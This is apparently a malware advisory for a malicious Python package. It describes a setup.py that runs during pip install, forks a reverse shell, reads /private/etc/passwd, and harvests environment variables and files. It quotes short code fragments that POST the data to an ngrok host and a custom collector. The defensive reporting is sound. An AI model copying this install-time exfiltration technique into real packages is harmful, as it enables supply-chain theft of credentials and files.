GCVE-110-OSM-2026-10263

This package is consistent with a supply-chain attacker model: the `setup.py` payload runs during pip install when `PIP_BUILD_TRACKER` or `PIP_REQ_TRACKER` is set, then forks a reverse shell and collects local data for exfiltration. The code explicitly reads `/private/etc/passwd`, harvests environment variables and files from the working directory and virtualenv, and POSTs the report to a ngrok endpoint and `http://127.0.0.1:4445/collect`. The `os.system("cat /private/etc/passwd")`, `os.fork()`, `socket.gethostname()`, and `urllib.request.Request(..., method="POST")` calls are not incidental here; they are part of a deliberate sandbox escape / credential and file theft PoC. The minimal metadata and absence of repository support the conclusion, but the decisive evidence is the direct exfiltration to a custom C2 and the daemonized reverse shell behavior. DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Python File Upload to Remote in setup.py: "urllib.request.Request( ATTACKER_URL, data=" - Data Encoding for Exfiltration in setup.py: "json.dumps(report, indent=2).encode" - Network Request in setup.py: "urllib.request.Request(" - System Information Collection in setup.py: "socket.gethostname()" ADDITIONAL FINDINGS - Shell Command Execution in setup.py: "os.system(" - Ngrok Tunneling Service in setup.py: "ngrok-free.app" PAYLOAD FILES setup.py